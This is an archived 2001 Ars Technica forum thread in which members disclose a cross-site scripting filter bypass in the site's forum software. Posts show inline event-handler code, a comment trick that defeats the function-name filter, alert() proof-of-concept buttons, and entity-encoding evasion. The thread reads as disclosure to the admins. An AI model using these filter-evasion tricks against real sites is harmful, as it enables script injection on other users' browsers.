A potential HTML exploit situation

Status
Not open for further replies.

Handor

Ars Tribunus Militum
2,513
I know that the <SCRIPT> tag is intended to be blocked, but I've found a way to do procedural programming anyway with no apparent limitations. Much as I'd like to keep this little toy to myself, take a look at this:

<form id="openQuestion" onReset="/* reset__() __eval();*/var question = eval(stateHolder.innerText);var answer = eval(stateHolder.innerText + 'ans');var state = eval(stateHolder.innerText + 'state');if (state.innerText == 'open') {answer.style.display = '';state.innerText = 'close';} else {answer.style.display = 'none';state.innerText = 'open';}"><div id="stateHolder" style="display:none;"></div><span style="font: 95% sans-serif"><span id="sec1" style="font:bold;" onClick="stateHolder.innerText=this.id; /*__eval__();*/ openQuestion.reset();">I. Personal Data (click to <span id="sec1state">open</span>)</span><div id="sec1ans" style="padding-left=10pt; display:none;"><span id="q1" style="color:red; font: bold" onClick="stateHolder.innerText=this.id; /*__eval__();*/ openQuestion.reset();">1) What is your real name? (click to <span id="q1state">open</span>)</span>
<div id="q1ans" style="display:none; padding-left=15pt; font: italic 80%;">Dominic Pease
</div><span id="q2" style="color:red; font: bold;" onClick="stateHolder.innerText=this.id; /*__eval__();*/ openQuestion.reset();">2) Where do you live? (click to <span id="q2state">open</span>)</span>
<div id="q2ans" style="display:none; padding-left=15pt; font: italic 80%">I live in Minneapolis, Minnesota. That's in the US, for those who didn't know.
</div><span id="q3" style="color:red; font: bold;" onClick="stateHolder.innerText=this.id; /*__eval__();*/ openQuestion.reset();">3) Where do you work? (click to <span id="q3state">open</span>)</span>
<div id="q3ans" style="display:none; padding-left=15pt; font: italic 80%">Errr......... *cough*unemployed*cough* at the moment.

Actually, that's not true. I do contract work, which I do out of my place of residence, but I'd rather work as part of a team in a company. Job offers are always welcome.
</div><span id="q4" style="color:red; font: bold;" onClick="stateHolder.innerText=this.id; /*__eval__();*/ openQuestion.reset();">4) What would you do if you did work? (click to <span id="q4state">open</span>)</span>
<div id="q4ans" style="display:none; padding-left=15pt; font: italic 80%">I'm a programmer. More specifically, I'm a systems architect who also programs. That means that I sit around, think up programs to make, and then think about how to implement them. This involves doing a whole lot more than just programming, of course. Often I'll just sit around with a few pens and pencils and a lot of paper and noodle it out, making diagrams, lists, whatever I need. Then I'll start breaking down the overall architecture into logical subdivisions: program sections and components.
</div></div>
<span id="sec2" style="font:bold;" onClick="stateHolder.innerText=this.id; /*__eval__();*/ openQuestion.reset();">II. Ars Technica (click to <span id="sec2state">open</span>)</span><div id="sec2ans" style="padding-left=10pt; display:none;"><span id="q5" style="color:red; font: bold" onClick="stateHolder.innerText=this.id; /*__eval__();*/ openQuestion.reset();">5) What's your nick all about? (click to <span id="q5state">open</span>)</span>
<div id="q5ans" style="display:none; padding-left=15pt; font: italic 80%;">My nick: Handor. More completely, Handor Ryell. It doesn't mean anything, have any external references, or any such. I chose it back... well a while back when I got into role-playing on a sorta medievally-themed MUSH (Multi-User Shared Hallucination, or one of its variant acronym expansions). I didn't really know what to name my character, so I just sat there for a few minutes, started at the cursor, and then typed in 'Handor'.

Well, as time went on it turned out that I needed to have a surname, so I appended 'Ryell' to 'Handor'. Since this was my longest-standing avatar, I got used to people addressing me as such, and figured that it was as good an online alias as any, and so I kept on using it for more and more things. A long time later, when I got to Ars, I figured, not being a very ingenious guy, I'd just use my regular.
</div><span id="q6" style="color:red; font: bold;" onClick="stateHolder.innerText=this.id; /*__eval__();*/ openQuestion.reset();">6) What are your favorite forums? (click to <span id="q6state">open</span>)</span>
<div id="q6ans" style="display:none; padding-left=15pt; font: italic 80%">I usually frequent the BF and Lounge most, then the SC, and then the WNT/2K one. I occasionally venture into other forums, but not on a regular basis.
</div><span id="q7" style="color:red; font: bold;" onClick="stateHolder.innerText=this.id; /*__eval__();*/ openQuestion.reset();">7) How much time do you spend on/posting to the site? (click to <span id="q7state">open</span>)</span>
<div id="q7ans" style="display:none; padding-left=15pt; font: italic 80%">Too much! :)
</div><span id="q8" style="color:red; font: bold;" onClick="stateHolder.innerText=this.id; /*__eval__();*/ openQuestion.reset();">8) What do you think of the new subscription scheme? (click to <span id="q8state">open</span>)</span>
<div id="q8ans" style="display:none; padding-left=15pt; font: italic 80%">If it helps Ars stay around without killing the admins, I'm for it!
</div><span id="q9" style="color:red; font: bold;" onClick="stateHolder.innerText=this.id; /*__eval__();*/ openQuestion.reset();">9) Are you a Subscriptor? (click to <span id="q9state">open</span>)</span>
<div id="q9ans" style="display:none; padding-left=15pt; font: italic 80%">Duh....
</div></div>
<span id="sec3" style="font:bold;" onClick="stateHolder.innerText=this.id; /*__eval__();*/ openQuestion.reset();">III. The Classics (click to <span id="sec3state">open</span>)</span><div id="sec3ans" style="padding-left=10pt; display:none;"><span id="q10" style="color:red; font: bold" onClick="stateHolder.innerText=this.id; /*__eval__();*/ openQuestion.reset();">10) How much do you like the Classics? (click to <span id="q10state">open</span>)</span>
<div id="q10ans" style="display:none; padding-left=15pt; font: italic 80%;">Let me put it this way: I'm at least as interested in them as I am in Computer Science.
</div><span id="q11" style="color:red; font: bold;" onClick="stateHolder.innerText=this.id; /*__eval__();*/ openQuestion.reset();">11) Why? (click to <span id="q11state">open</span>)</span>
<div id="q11ans" style="display:none; padding-left=15pt; font: italic 80%">Well, that's a tough question. Why does anyone like anything? But I guess if I had to come up with an answer I guess I'd say that I think that Rome was perhaps the epitome of civilization, even if our own civilization has the (heretofore) epitome of technology. Those two things don't go together, and there's so much to be learned from history. To steal a phrase, I'd call history 'the laboratory of human relations', in which you can figure out more about what this crazy thing called humanity is all about. You'll find that in history far more readily than you'll find it in biology or genetics. I don't want to go into a Soap Boxy discussion of that assertion; I'll just say that regardless of how it got to be that way, humans are weird, and it's incredible to see how that happens.

The classics provide a wealth of information about religions, governments, philosphies, and cultures, all of which are sufficiently removed from modernity to be studied in what may imaginatively be termed objectivity, though so few people have that towards anything these days. Hence it's the best place to see a lot of things.
</div><span id="q12" style="color:red; font: bold;" onClick="stateHolder.innerText=this.id; /*__eval__();*/ openQuestion.reset();">12) Why Rome? (click to <span id="q12state">open</span>)</span>
<div id="q12ans" style="display:none; padding-left=15pt; font: italic 80%">Erm.... ask me some other time when I don't want to type as much. :)
</div><span id="q13" style="color:red; font: bold;" onClick="stateHolder.innerText=this.id; /*__eval__();*/ openQuestion.reset();">13) Do you know any classical languages? (click to <span id="q13state">open</span>)</span>
<div id="q13ans" style="display:none; padding-left=15pt; font: italic 80%">I can read Latin pretty decently. That's about it.
</div><span id="q14" style="color:red; font: bold;" onClick="stateHolder.innerText=this.id; /*__eval__();*/ openQuestion.reset();">14) Can I talk to you more about it? (click to <span id="q14state">open</span>)</span>
<div id="q14ans" style="display:none; padding-left=15pt; font: italic 80%">Of course!
</div></div></span>

Caesar, if you like I can describe the process for doing this and how it can be prevented, because there is in fact a (pretty easy) fix for it. It may be something we'd like to report to the OpenTopic people.

I thought about not posting this, but I figure that it's better that I alert the authorites rather than waiting until someone with less noble intentions to discover this and use it to his heart's content.

Edit: I'm posting it here rather than emailing it because, before thinking, I posted it in the HTML test thread in the lounge, without thinking. Then I realized that maybe I shouldn't post it but just email the admin... but the edit time had elapsed, so I couldn't remove it. If you (Caesar) want to edit or delete this message so that the code isn't included, please do so, but do it in both places, and contact me for some information about what I've learned here.

[This message was edited by Handor on July 09, 2001 at 01:58.]
 

lewis

Ars Scholae Palatinae
714
'k.

I see what you've done, and why you've done it. But I don't see why it behaves as it does... just sloppy coding on InfoPop's part?


I'd be interested to know what it was after it has been fixed.


And while I'm about it, you don't need to, and aren't supposed to, use eval() to concatenate strings. Thing = thing + 'something'; works fine -- :) --


This should not work:

This should:




<div id="fred"> </div>


[This message was edited by viciouscarrot on July 09, 2001 at 06:22.]
 

lewis

Ars Scholae Palatinae
714
^^Ran out of edit time for the post above^^
You mean this?

<button onClick="alert___('boo');">This should not work</button>

<button onClick="/*_alert___();*/ alert('It worked');">This should</button>


I agree, this is bad very bad.

Errr... if that made it too obvious then someone remove it.

[This message was edited by viciouscarrot on July 09, 2001 at 06:36.]
 

Spiv

Ars Praefectus
5,355
Subscriptor++
hmm...I'm not sure how bad this might turn out to be, but you could do something like...

<form action="e.cgi" method="post">

Name:

<input type="text" name="fname" size=30>

Comments
<textarea name="comments" cols=30 rows=4 wordwrap=virtual></textarea>

<input type="submit">


now obviously that doesn't attach to anything ATM, but it could, and hence someone could make what looks to be an opentopic poll that really collects IP addresses or something like that. Not good.
 

Handor

Ars Tribunus Militum
2,513
Caesar:

Basically what's going on is an end-run around the processing that OpenTopic does to avoid funciton scripting. The hole allows me to run basically any funciton I want-- I could do something relatively benign (like create my FAQ) or I could start popping up windows, creating a lockin script, etc. It not a very nice prospect.

Furthermore, I've demonstrated above a way to completely negate the purpose of removing the <SCRIPT> tag. I've implemented a single funciton which gets executed for all the opening/closing operations, and as you can see it's pretty complete (minus the fact that it breaks on the top one).

The problem is that OpenTopic's replacement function only screws up the first instance of a function call. That means that you can use a little inventive coding to get around it. And, since there are ways to create pseudofunctions, you can write full procedural programs with very little difficulty. For my FAQ, the part that took the longest was putting in the content.

Now, testing something else:

<input type="button" value="click" onClick="content.innerHTML += '
hello!';">
<div id="content"></div>

Edit: OK, yeah, this is another potential problem. This raises the potential security hole count to two.

[This message was edited by Handor on July 09, 2001 at 12:13.]
 

Handor

Ars Tribunus Militum
2,513
Peter: But that wouldn't work anyway. That's not the hole. Here, let me demonstrate.

<div style="display: none;">
<input type="button" onclick="alert_____('Test'); return false;">

yields:

<input type="button" onclick="alert________('Test'); return false;">

which is

<input type="button" onclick="alert______('Test'); return false">

However:

<input type="button" onclick="/* alert_____() */ alert('Test'); return false;">

yields:

<input type="button" onclick="/* alert_______() */ alert('Test'); return false;">

which is

<input type="button" onclick="/* alert______() */ alert('Test'); return false;">
</div>
Edit: Post deleted, so I won't demonstrate.
 

lewis

Ars Scholae Palatinae
714
Handor, from your post where you were going to demonstrate to PeterB:

code:<HR>
Code:
<div style="display: none;">
<input type="button" onclick="alert_____('Test'); return false;"><P>yields:<P><input type="button" onclick="alert________('Test'); return false;"><P>which is<P><input type="button" onclick="aler

And so on. I'm assuming it wasn't you who did that.
 
Originally posted by Handor:
Geez, why the heck did they make it so you could script with ampersand replacement? Well, OK; looks like there's no way to stop it.
Because *all* entities have to be escaped. Even ones in attributes.

That is, it's correct, if you're writing a URL with an ampersand in it, for instance, to write &[/B]somethingelse=anotherthing]http://www.server.tld/path/to/file?this=that&somethingelse=anotherthing, rather than &[/B]somethingelse=anotherthing]http://www.server.tld/path/to/file?this=that&somethingelse=anotherthing

So. Attributes have to be ampersand escaped, to make safe if they happen to contain certain entities. onclick (etc.) values are attributes, so they can be escaped. It happens that you can escape any character, even ones that don't "need" to be escaped. They did it 'cos XML doesn't like it if you don't do it, 'cos it always needs them escaped, even as attribute values. End result, you can write scripts out of escape codes (albeit painfully if you're doing it by hand).
 
Status
Not open for further replies.